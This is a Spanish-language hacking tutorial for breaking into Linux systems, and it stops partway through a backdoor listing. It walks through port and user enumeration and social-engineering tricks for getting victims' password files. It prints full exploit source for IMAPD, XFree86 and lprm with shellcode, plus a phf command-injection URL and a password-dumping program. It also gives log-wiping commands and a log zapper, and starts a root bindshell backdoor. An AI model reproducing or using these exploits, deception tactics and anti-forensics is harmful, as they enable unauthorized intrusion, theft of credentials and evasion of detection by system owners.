HACKEANDO UN SISTEMA LINUX
Como todo el mundo sabrá ya, linux es cada vez mas popular entre los usuarios.
Usar linux es guay y mucha gente que antes le daba la espalda ahora se encuentra con linux instalado en su disco duro. Pero no todo va a ser tan
bonito, linux es un muy buen sistema operativo, pero como todo, tiene fallos.
En este texto voy a intentar explicar algunos métodos para conseguir hackear un sistema linux. Lo hago con este sistema ya que es el mas
conocido, aunque muchas cosas son exportables a otros sistemas operativos
parecidos, como bsd, sunOS y cualquier otro derivado de unix.
Consiguiendo información de la máquina
Una de las cosas mas importantes a la hora de hackear un sistema (o intentar)
es obtener la máxima información disponible sobre el. En definitiva se trata de obtener las versiones de sus
daemons, como pueden ser ftp, sendmail, etc, los puertos que tiene abiertos y toda
información que nos pueda ser útil.
Para conseguir las versiones de los demonios se accede al puerto en cuestión, y normalmente solo con eso se nos muestra una
línea o dos con información. Aquí pongo una lista de los puertos completa, ya se que completa es un coñazo pero
la pongo por si a alguien le es útil.
LISTA DE PUERTOS
| tcpmux | 1/tcp | # rfc-1078 | |
| echo | 7/tcp | ||
| echo | 7/udp | ||
| discard | 9/tcp | sink null | |
| discard | 9/udp | sink null | |
| systat | 11/tcp | users | |
| daytime | 13/tcp | ||
| daytime | 13/udp | ||
| netstat | 15/tcp | ||
| qotd | 17/tcp | quote | |
| chargen | 19/tcp | ttytst source | |
| chargen | 19/udp | ttytst source | |
| ftp-data | 20/tcp | ||
| ftp | 21/tcp | ||
| telnet | 23/tcp | ||
| smtp | 25/tcp | ||
| time | 37/tcp | timserver | |
| time | 37/udp | timserver | |
| rlp | 39/udp | resource | # resource location |
| name | 42/udp | nameserver | |
| whois | 43/tcp | nicname | # usually to sri-nic |
| domain | 53/tcp | ||
| domain | 53/udp | ||
| mtp | 57/tcp | # deprecated | |
| bootps | 67/udp | # bootp server | |
| bootpc | 68/udp | # bootp client | |
| tftp | 69/udp | ||
| gopher | 70/tcp | # gopher server | |
| rje | 77/tcp | ||
| #finger | 79/tcp | ||
| #http | 80/tcp | # www is used by some broken | |
| #www | 80/tcp | # progs, http is more correct | |
| link | 87/tcp | ttylink | |
| kerberos | 88/udp | kdc | # Kerberos authentication--udp |
| kerberos | 88/tcp | kdc | # Kerberos authentication--tcp |
| supdup | 95/tcp | # BSD supdupd(8) | |
| hostnames | 101/tcp | hostname | # usually to sri-nic |
| iso-tsap | 102/tcp | ||
| x400 | 103/tcp | # x400-snd 104/tcp | |
| csnet-ns | 105/tcp | ||
| #pop-2 | 109/tcp | # PostOffice V.2 | |
| #pop-3 | 110/tcp | # PostOffice V.3 | |
| #pop | 110/tcp | # PostOffice V.3 | |
| sunrpc | 111/tcp | ||
| sunrpc | 111/tcp | portmapper | # RPC 4.0 portmapper UDP |
| sunrpc | 111/udp | ||
| sunrpc | 111/udp | portmapper | # RPC 4.0 portmapper TCP |
| auth | 113/tcp | ident | # User Verification |
| sftp | 115/tcp | ||
| uucp-path | 117/tcp | ||
| nntp | 119/tcp | usenet | # Network News Transfer |
| ntp | 123/tcp | # Network Time Protocol | |
| ntp | 123/udp | # Network Time Protocol | |
| #netbios-ns | 137/tcp | nbns | |
| #netbios-ns | 137/udp | nbns | |
| #netbios-dgm | 138/tcp | nbdgm | |
| #netbios-dgm | 138/udp | nbdgm | |
| #netbios-ssn | 139/tcp | nbssn | |
| #imap | 143/tcp | # imap network mail protocol | |
| NeWS | 144/tcp | news | # Window System |
| snmp | 161/udp | ||
| snmp-trap | 162/udp | ||
| exec | 512/tcp | # BSD rexecd(8) | |
| biff | 512/udp | comsat | |
| login | 513/tcp | # BSD rlogind(8) | |
| who | 513/udp | whod | # BSD rwhod(8) |
| shell | 514/tcp | cmd | # BSD rshd(8) |
| syslog | 514/udp | # BSD syslogd(8) | |
| printer | 515/tcp | spooler | # BSD lpd(8) |
| talk | 517/udp | # BSD talkd(8) | |
| ntalk | 518/udp | # SunOS talkd(8) | |
| efs | 520/tcp | # for LucasFilm | |
| route | 520/udp | router routed | # 521/udp too |
| timed | 525/udp | timeserver | |
| tempo | 526/tcp | newdate | |
| courier | 530/tcp | rpc | # experimental |
| conference | 531/tcp | chat | |
| netnews | 532/tcp | readnews | |
| netwall | 533/udp | # -for emergency broadcasts | |
| uucp | 540/tcp | uucpd | # BSD uucpd(8) UUCP service |
| klogin | 543/tcp | # Kerberos authenticated rlogin | |
| kshell | 544/tcp | cmd | # and remote shell |
| new-rwho | 550/udp | new-who | # experimental |
| remotefs | 556/tcp | rfs_server rfs | # Brunhoff remote filesystem |
| rmonitor | 560/udp | rmonitord | # experimental |
| monitor | 561/udp | # experimental | |
| pcserver | 600/tcp | # ECD Integrated PC board srvr | |
| mount | 635/udp | # NFS Mount Service | |
| pcnfs | 640/udp | # PC-NFS DOS Authentication | |
| bwnfs | 650/udp | # BW-NFS DOS Authentication | |
| kerberos-adm | 749/tcp | # Kerberos 5 admin/changepw | |
| kerberos-adm | 749/udp | # Kerberos 5 admin/changepw | |
| kerberos-sec | 750/udp | # Kerberos authentication--udp | |
| kerberos-sec | 750/tcp | # Kerberos authentication--tcp | |
| kerberos_master | 751/udp | # Kerberos authentication | |
| kerberos_master | 751/tcp | # Kerberos authentication | |
| krb5_prop | 754/tcp | # Kerberos slave propagation | |
| listen | 1025/tcp | listener RFS | # remote_file_sharing |
| nterm | 1026/tcp | remote_login | # network_terminal |
| #kpop | 1109/tcp | # Pop with Kerberos | |
| ingreslock | 1524/tcp | ||
| tnet | 1600/tcp | # transputer net daemon | |
| cfinger | 2003/tcp | # GNU finger | |
| nfs | 2049/udp | # NFS File Service | |
| eklogin | 2105/tcp | # Kerberos encrypted rlogin | |
| krb524 | 4444/tcp | # Kerberos 5 to 4 ticket xlator | |
| irc | 6667/tcp | # Internet Relay Chat |
Bueno, después de todo este rollo os preguntareis: y cuales son realmente los puertos importantes?? Pues bien, los realmente importantes (mas o menos) son:
Estos son (para mi al menos) los que mas usaremos a la hora de hackear. Para sacar información de cada uno de ellos basta con ir haciendo telnets uno por uno. Ej:
telnet maquina.com 21 --> te dice la
versión del ftp
telnet maquina.com 23 --> te dice la versión del sistema
operativo (normalmente)
Recomiendo que a la hora de mirar versiones, etc. no
intentéis meter ningún password porque quedara todo grabado junto con vuestra
dirección ip.
También es interesante hacer un escaneo de puertos a la máquina. Hay muchos
programas en internet que hacen esta función. Yo recomiendo el phobia, que es bastante
rápido. Estos programas a veces traen opciones para escanear solo un determinado
número de puertos, por ejemplo del 1 al 200. El phobia trae tb posibilidades de
ataque, como sobrescribir un buffer en el ftpd, etc. pero que ya tiene mucho tiempo y es improbable que funcione.
POSIBILIDADES DEL FINGER Y SMTP
El puerto del finger(79) se usa para conseguir información de los usuarios
de esa máquina. Se usa simplemente con: telnet maquina.com 79. Si obtenéis una respuesta como: "telnet: Unable to connect to remote host: Connection
refused", es que o tiene activado un firewall (esto ya se vera mas adelante) o tiene cerrado el puerto del finger. Si se conecta sin
problemas, simplemente tecleando un nombre de usuario conseguiréis información sobre
él. No os preocupéis si lo que escribáis no sale en pantalla, es porque tiene el eco
redireccionado a una salida nula. Si por ejemplo tecleáis "test",y resulta que
alguien tiene ese nombre de usuario (login), os saldrá algo como esto:
Login: test Name: Jose Ramon Suarez
Directory: /home/test Shell: /bin/bash
Last login Sat May 9 00:16 (CEST) on tty3
No mail.
No Plan.
Como veis se muestra mucha información útil, como su nombre completo, su directorio
home, si tiene mail, etc.. Esto puede ser usado para intentar algún pass, como joramon..
ya entendéis. También podéis mandarle un mail haciéndos pasar por el root del sistema y
pidiéndole su password con alguna excusa, pero esto ya esta muy visto y no creo que
funcione, además, como se lo diga al root de verdad y no hayáis usado un método para mandar mails
anónimos..pillais,no? :).
Tb puede usarse el sendmail(25) para conseguirse un resultado similar. La cuestión es que muchos proveedores de internet (por lo menos en España), en vez de usar un servidor para correo entrante (pop-110) y otro para correo saliente (smtp-25) pues usan uno solo para las dos cosas, y si usan dos pues en el de correo entrante dejan abierto el puerto de smtp. Pues bien, si hacéis un telnet al servidor de correo entrante al puerto 25, y luego usáis el comando vrfy para verificar si existe un usuario en cuestión muchas veces os devolverá el nombre del usuario completo. Ejemplo:
Un tío tiene de mail jose@ctv.es. Pues ponéis
telnet pop.ctv.es 25
vrfy jose
y os devolverá algo como:
Jose Luis Suarez Vazquez <jose@ctv.es>.
Con esto, y si sabéis la población del tío, pues llamáis al 003 para sacar su teléfono, lo llamáis diciendo que sois de ctv....etc etc, lo demás ya lo dejo a vuestra imaginación :). Además, el servicio de finger cada vez esta mas en desuso por lo que este método cobra mas importancia.
Nota: El comando expn hace la misma función, pero normalmente esta desactivado.
CONSIGUIENDO UNA CUENTA:
Esto es una de las cosas mas difíciles (aunque parezca mentira) a la hora de hackear. La forma mas fácil de conseguirla es con ingeniería social, pero ya esta muy visto y es muy chungo que lo consigáis. Por si alguien no lo sabe ingeniería social es intentar engañar a alguien para que te de su pass o información útil. Lo de la tía novata ya esta muy visto, o sea que yo recomiendo nukear a alguien un par de veces, y cuando ya este el tío hasta las narices le hacéis un query y le decís algo como: "joer, no se quien anda nukeando..no estas protegido?", luego le enseñas como protegerse pero le dices que para saber que puerto tiene que cerrar exactamente te tiene que mandar por dcc los files con extensión pwl de su \windows\, captáis la idea, no? :). Luego crackeais el fichero con el glide por ejemplo.
Ahora voy a centrarme ya en el Linux, lo de antes era para engañar a alguien con win95 y poder acceder al server de su proveedor con su login:pass.
Hay varios métodos en algunas distribuciones de linux que te permiten conseguir una cuenta desde fuera, e incluso algunas con nivel de root.
Esta que voy a poner ahora es para RedHat, funciona hasta la
versión 4.0 incluida y lo que hace es sobrescribir un buffer en el imap (puerto 143)
consiguiendo una shell con nivel de root. Tienes que tener instalado el programa netcat (esta disponible en muchos lugares de la red), y se utiliza
con: "(imap 0000000000;cat) | nc maquina.com 143", tienes que poner muchos ceros para que
rule, aunque va a ser chungo que encuentres una redhat 4.0 la verdad. Bueno, aquí va:
/*
* IMAPD REMOTE EXPLOIT
* exploit code from TiK/paladine's imap+nc exploit
* socket code by BiT
*/
#include <stdio.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/time.h>
#include <errno.h>
void read_soc(int sock);
void read_key(int sock);
char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";
void phand(int s)
{
return;
}
void ihand(int s)
{
printf("SIGINT catched, exiting...\n");
exit(4);
}
void dome()
{
printf("IMAPD REMOTE EXPLOIT\n");
printf("Exploit code by TiK/paladine\n");
printf("Socket code by BiT\n\n");
}
void banner(char *wee)
{
printf("Syntax: %s <host> [<offset>]\n",wee);
exit(1);
}
void main(int argc, char *argv[])
{
int i,a,s;
long val;
fd_set blockme;
char username[1024+255];
char buf[1500];
dome();
if(argc<2)
banner(argv[0]);
if(argc>2)
a=atoi(argv[2]);
else
a=0;
strcpy(username,shell);
for(i=strlen(username);i<sizeof(username);i++)
username[i]=0x90;
val = 0xbffff501 + a;
for(i=1024;i<strlen(username)-4;i+=4)
{
username[i+0] = val & 0x000000ff;
username[i+1] = (val & 0x0000ff00) >> 8;
username[i+2] = (val & 0x00ff0000) >> 16;
username[i+3] = (val & 0xff000000) >> 24;
}
username[ sizeof(username)-1 ] = 0;
if((s=wee(argv[1],143)) == -1)
{
printf("Connection refused.\n");
exit(2);
}
signal(SIGPIPE,phand);
signal(SIGINT,ihand);
printf("Exploiting %s with offset %d...\n",argv[1],a);
sprintf(buf,"%d LOGIN \"%s\" pass\n", sizeof(shell), username);
write(s,buf,strlen(buf));
while(1)
{
FD_ZERO(&blockme);FD_SET(s,&blockme);FD_SET(0,&blockme);
fflush(stdout);fflush(stdin);
if(select(FD_SETSIZE, &blockme, NULL, NULL, NULL))
{
if(FD_ISSET(0,&blockme)) read_key(s);
if(FD_ISSET(s,&blockme)) read_soc(s);
}
}
}
void read_soc(int sock)
{
static char sbuf[512];
static int i=0;
char c,j;
j=read(sock,&c,1);
if(j<1&&errno!=EAGAIN)
{
printf("Connection dropped.\n");
exit(3);
}
if(i>510)
c='\n';
if(c=='\n')
{
sbuf[i++]=c;sbuf[i]=0;i=0;
printf(sbuf);
}
else
sbuf[i++]=c;
}
void read_key(int sock)
{
static char kbuf[512];
static int i=0;
char c,j;
j=read(0,&c,1);
if(i>510)
c='\n';
if(c=='\n')
{
kbuf[i++]=c;kbuf[i]=0;i=0;
write(sock,kbuf,strlen(kbuf));
}
else
kbuf[i++]=c;
}
int wee(char *host,int port)
{
struct hostent *h;
struct sockaddr_in s;
int sock;
h=gethostbyname(host);
if(h==NULL)
return -1;
sock=socket(AF_INET,SOCK_STREAM,0);
s.sin_family=AF_INET;
s.sin_port=htons(port);
memcpy(&s.sin_addr,h->h_addr,h->h_length);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)) < 0)
return -1;
fcntl(sock,F_SETFL,O_NONBLOCK);
return sock;
}
Otro método para conseguir una shell de root desde fuera se da en las distribuciones slackware hasta la 3.1 incluida. Se trata de un bug del rlogin, por
lo que no hace falta exploit. Se usa de la siguiente forma: "rlogin maquina.com -l -froot".
Tb esta el método de usar bugs de scripts cgi, como puede ser el phf, ampliamente conocido pero que
todavía rula. Por mi experiencia los sistemas con este bug suelen ser los SunOS, y suelen estar en las universidades. Se usa
desde el navegador, como puede ser el netscape, de la siguiente forma:
http://www.maquina.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd
Esto lo que hace es imprimir el fichero /etc/passwd pero puede ser usado para ejecutar cualquier comando remotamente.(no me extiendo mas porque considero que el phf ya esta muy explicado en otros artículos).
Otra cosa, muchas distribuciones de linux te montan automáticamente las particiones msdos, por lo que si tienes acceso al linux de algún colega solo tienes que ir a /mnt/c: o lo que sea, a /windows/ y bajarte el pwl, pilláis, no? :).
CONSEGUIR EL /ETC/PASSWD
Una vez que tienes una cuenta lo siguiente es conseguir el fichero de pass de
la peña. Normalmente esta en /etc/passwd, pero puede estar shadow, estando entonces lo importante en /etc/shadow. Me explico. Normalmente los sistemas linux
no se preocupan por quien mira los passwords de los usuarios encriptados (por algo
están encriptados), o sea que el fichero /etc/passwd que es donde se guardan los pass es visible para todo el mundo. En cambio hay sitios donde la
seguridad ya es mas necesaria y el archivo con los pass no es visible para todo el mundo, es entonces cuando se dice que esta shadow. Vamos a analizar una
línea del /etc/passwd de un sistema que no este shadow:
jose:x2rFys28wHAAy:503:508:Jose Manuel:/home/test:/bin/bash
| jose | este es el nombre de usuario (login) |
| x2rFys28wHAAy | password encriptado |
| 503 | este es el uid del usuario |
| 508 | este es el grupo al que pertenece (gid) |
| Jose Manuel | nombre completo del usuario |
| /home/jose | directorio home de jose |
| /bin/bash | shell de jose |
Lo de 503 y 508 sirve para identificar al usuario y a su grupo, ya que linux por ejemplo no lo identificara por jose sino por 503, por lo tanto cualquier usuario con uid igual a 503 será como si fuera a todos los efectos jose. El root siempre tendrá el uid igual a 0.
Lo que mas nos interesa es el password. Unix en general utiliza un método de encriptación muy complejo, prácticamente imposible de desencriptar. Como no se puede desencriptar lo que podemos hacer es coger una lista de palabras, ir encriptándolas una a una y comparándolas con los pass encriptados, cuando haya una coincidencia ya tenemos un password. Lo he explicado de una forma un poco simple, espero que se comprenda. Hay multitud de crackeadores de password en la red, pero esta visto que john the ripper es el mas rápido, así que recomiendo este. Además, trae una opción que permite crackear sin lista de palabras, utilizando pass que deriven del login del usuario. Por ejemplo si el login es pepe, pues utiliza como pass pepe1, pepe95...etc. Este es un método muy bueno y casi siempre pílla bastantes password. Se utiliza con "john -single ficherodepass".
La forma de bajarse el fichero de passwd puede ser por ftp por ejemplo, pero antes recomiendo hacer una copia del fichero a tu directorio home con un nombre menos sospechoso, así en los logs nos constara de que te has bajado el /etc/passwd.
Lo que pasa es que hay veces en los que conseguir el fichero de pass no es tan
sencillo. Puede estar shadow por ejemplo, o no tener acceso al directorio donde se encuentre. Si el fichero esta shadow, en /etc/passwd las
líneas serán algo como: "jose:x:503:508:Jose Manuel:/home/test:/bin/bash". Entonces lo que falta,
el pass, se encuentra encriptado en /etc/shadow, pero con permisos solo de lectura y escritura para el
root, de forma que nosotros no podremos leerlo. Menos mal que hay formas de conseguirlo igualmente :). Como por ejemplo con varias
llamadas a getpwent. El fichero que pongo ahora sirve para los dos casos, que no tengamos acceso al directorio o al /etc/passwd,o que este shadow.
#include <stdio.h>
#include <pwd.h>
struct passwd *pw;
main()
{
while ((pw = getpwent()) != NULL)
{
printf("%s:",pw->pw_name);
printf("%s:",pw->pw_passwd);
printf("%d:",pw->pw_uid);
printf("%d:",pw->pw_gid);
printf("%s:",pw->pw_gecos);
printf("%s:",pw->pw_dir);
printf("%s\n",pw->pw_shell);
}
endpwent();
}
Al ejecutarlo os mostrara el fichero de contraseñas completo, por lo que es necesario
re direccionar su salida a un fichero con >. Ej: "./conseguirpass > fichero". Luego te lo bajas por ftp.
CONSEGUIR ACCESO DE ROOT
Una vez que tienes una cuenta lo siguiente es conseguir acceso como root.
Recuerdo que root es el administrador del sistema y que tiene permiso para hacer
TODO. Antes de intentar hacer nada recomiendo que hagáis un "who" para ver si el root esta
conectado, ya que si hacéis cosas raras y esta delante del ordenata pues a lo mejor se mosquea y tal :). Por cierto, que si son las 10 de
la noche y en el who pone que lleva conectado desde las 8 de la mañana no le
hagáis mucho caso :). Aun así recomiendo intentar hacerse con el root por la noche.
Si tienes acceso físico al ordenata, y tiene el Lilo (linux loader) instalado pues es muy sencillo. Basta con poner en el prompt al arrancar el sistema:
"linux single", y te carga el linux normalmente solo que con shell de root y
sin pedir ni login,ni pass,ni nada. Supongo que si en vez de "linux",lo tienes configurado para que arranque con la
palabra "redhat" pues seria "redhat single".
Si no tienes acceso físico a la máquina (lo mas normal), tendrás que aprovechar algún fallo (bug) de la distribución, o un xploit. Los xploits sirven para explotar los bugs del sistema (la misma palabra lo dice), ya que por ejemplo para sobrescribir un buffer no los vas a hacer tecleando desde el shell, sino que lo hace un un programita en C. Hay muchísimos bugs y exploits circulando por ahí, así que voy a poner alguno solamente. No son de lo mas reciente pero funcionara en alguna que otra máquina.
Aquí pongo uno bastante reciente que sobrescribe un buffer en el servidor
de XFree86, funciona en redhat 4.2, slackware 3.1,caldera 1.1, y creo que en la debian 1.3.1. En
redhat 5.0 creo que no tira. Para que funcione, el directorio /usr/X11R6 tiene que ser accesible para todo el mundo. Te consigue un shell
de root y no deja logs ni el .bash_history, ni en el wtmp, ni en nada (los archivos de logs los explicare mas
adelante). Por cierto, si alguien no lo sabia, los archivos en C se compilan con cc -o fichero
fichero.c ,siendo fichero el ejecutable y fichero.c el código fuente, y tienes que subir el xploit por ftp
a la máquina y luego compilarlo en ella. Bueno, aquí va.
/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2
#include <string.h>
#include <unistd.h>
#include <errno.h>
#define LENCODE ( sizeof( Code ) )
char Code[] =
"\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
"\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
"\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
"\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";
char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };
main()
{
printf("pHEAR - XFree86 exploit\nby mAChnHEaD <quenelle@iname.com>\n\nYou may
get a root prompt now. If you don't, try different values for OFFSET.\n\n");
dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
__asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
memcpy( ptr + 4, ptr, 0x3fc );
memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
execve( "/usr/X11R6/bin/X", args, args + 3 );
perror( "execve" );
}
Con este se consigue root en muchos linux, pero por si acaso adjunto alguno mas. Este otro
sobrescribe un buffer en /usr/bin/lprm.Se supone que rula en redhat 4.2,y tienes
que modificar el #define PRINTER para que rule. No lo he probado o sea que no se lo que tienes que poner pero supongo que con #define
PRINTER "/etc/printcap" funcione, o el nombre de la impresora..eso ya lo tendréis que averiguar vosotros.
Bueno, pongo aquí el código.
#include <stdio.h>
#define PRINTER "-Pwhatever"
static inline getesp()
{
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv)
{
int i,j,buffer,offset;
long unsigned esp;
char unsigned buf[4096];
unsigned char
shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c"
"\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";
buffer=990;
offset=3000;
if (argc>1)buffer=atoi(argv[1]);
if (argc>2)offset=atoi(argv[2]);
for (i=0;i<buffer;i++)
buf[i]=0x41; /* inc ecx */
j=0;
for (i=buffer;i<buffer+strlen(shellcode);i++)
buf[i]=shellcode[j++];
esp=getesp()+offset;
buf[i]=esp & 0xFF;
buf[i+1]=(esp >> 8) & 0xFF;
buf[i+2]=(esp >> 16) & 0xFF;
buf[i+3]=(esp >> 24) & 0xFF;
buf[i+4]=esp & 0xFF;
buf[i+5]=(esp >> 8) & 0xFF;
buf[i+6]=(esp >> 16) & 0xFF;
buf[i+7]=(esp >> 24) & 0xFF;
printf("Offset: 0x%x\n\n",esp);
execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
}
Bueno, no pongo mas que sino se alarga mucho. Solo tenéis que buscar por la red con la palabra clave xploit y
aparecerán mogollón de webs interesantes.
BORRANDO NUESTRAS HUELLAS
Esto si que es importante, yo mas bien diría que es lo mas importante, ya que si no borras todas las huellas que has ido dejando (que son muchas) pueden pillarte con todas sus consecuencias. ¿ Que te parecería que después de todo el trabajo que te ha llevado conseguir el root te cierran el acceso por no borrar tus huellas correctamente ? Ya no digo nada si le da por denunciarte ..
Los ficheros de logs varían de un linux a otro, pero mas bien varían de directorio, todo lo demás se mantiene. Un encargado de grabar nuestros logs es el syslog. Este es un demonio que guarda diferentes tipos de logs como los usuarios que se conectaron, su ip, etc. Para ver exactamente que logs guarda y en que ficheros puedes hacer un "cat/etc/syslog.conf", de esta forma veras exactamente que es lo que hace. Normalmente los guarda en /var/log,y los mas importantes son messages,secure y xferlog. Estos son ficheros de textos normales, por lo que modificarlos es muy sencillo. Messages es un poco de todo, guarda los usuarios que se conectaron, su ip, etc.,por lo que es un coñazo la verdad. Secure guarda solo las ips y los demonios que usaron, por ejemplo que 195.32.2.1 se conecto al ftp el 1 de mayo a las 2 de la tarde, pero no guarda los ficheros que te bajes ni nada. Y xferlog es un fichero solo del ftp, es decir guarda conexiones, ficheros que te bajaste, etc. Para borrarlo es muy sencillo. Ej: tu ip es ctv23.ctv.es (bueno, tu host mejor dicho), para borrarla del /var/log/messages pues haces "grep -v ctv23 /var/log/messages > mes". Ahora en el fichero mes tienes una copia del messages pero sin las líneas en las que aparece ctv23,luego lo copias sobrescribiendo /var/log/messages. Bueno, pues así con el xferlog y el secure. Aunque tb puedes editarlos con el vim y borrarlos manualmente claro :).
Pero todavía hay mas ficheros de logs. Por ejemplo el bash guarda una copia de todos los comandos utilizados en el directorio home en un fichero llamado .bash_history. Para evitarlo pon "unset HISTFILE" en mitad de una sesión, ya que el log se actualiza cuando cierres la conexión. Es decir, si por ejemplo te conectas y borras el .bash_history no te servirá de nada, ya que los comandos los escribe cuando te desconectes del server. En cambio si pones unset HISTFILE no los escribirá cuando desconectes.
Otros ficheros de logs importantes son lastlog, wtmp y utmp. No estan en formato de texto por lo que no podrás leerlos normalmente.
Para borrarlos hace falta un programa especial que adjunto
aquí. Hay muchos y este no es de los mejores porque no borra el registro,
simplemente pone las entradas a 0,con lo que un root avanzado podría mosquearse. Tb decir que al
hacer un "who" busca los usuarios en el utmp, por lo que si te borras de el y cualquier usuario hace un
who, incluido el root, no te vera. Sirve para que no te detecten a simple vista pero tampoco seria muy complicado encontrarte,
así que tampoco te creas invisible :). Bueno, pego aquí el código.
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0)
{
while(pos != -1L)
{
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0)
{
pos = -1L;
}
else
{
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
}
else
pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL)
{
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0)
{
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
}
else
printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2)
{
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
}
else
printf("Error.\n");
}
Para usarlo se usa con "./z2 nombredeusuario".
DEJANDO PUERTAS TRASERAS
Bueno, y vosotros os preguntareis si siempre que os conectéis
tenéis que rular el xploit o el bug, borrar huellas, etc. con todo el coñazo que eso
supone. Pues la respuesta es no. Lo mas cómodo es instalar una "backdoor" o puerta trasera. Una puerta trasera es una manera de entrar en un sistema de forma que nadie se entere de que has
entrado, sin logs ni rollazos, y consiguiendo el root al momento. Por supuesto para instalar una tienes
que haber conseguido el root anteriormente :). Normalmente se instalan sobrescribiendo un fichero del sistema por uno
modificado, es decir, un troyano. Por ejemplo, sobrescribes el /bin/login por uno que te deje entrar con
un login:pass que definas tu y sin dejar ningún log.. bonito, no? :). Hay por
ahí bastantes troyanos del login, pero todos tienen un defecto (o al menos yo no vi ninguno), que pasa si el passwd esta shadow? Pues por lo
menos los que yo vi, no rulan. Por eso voy a poner aquí otro método, que consiste en crear un puerto en la
máquina con un numero raro y que al hacer un telnet a ese puerto te de una shell de root sin pass y sin logs. Pongo
aquí el código y luego lo explico.
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org */
/* don't forget.. when you connect to the port.. commands are like: */
/* "ls -l;" or "exit;" (don't forget the ';') */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
int main ()
{
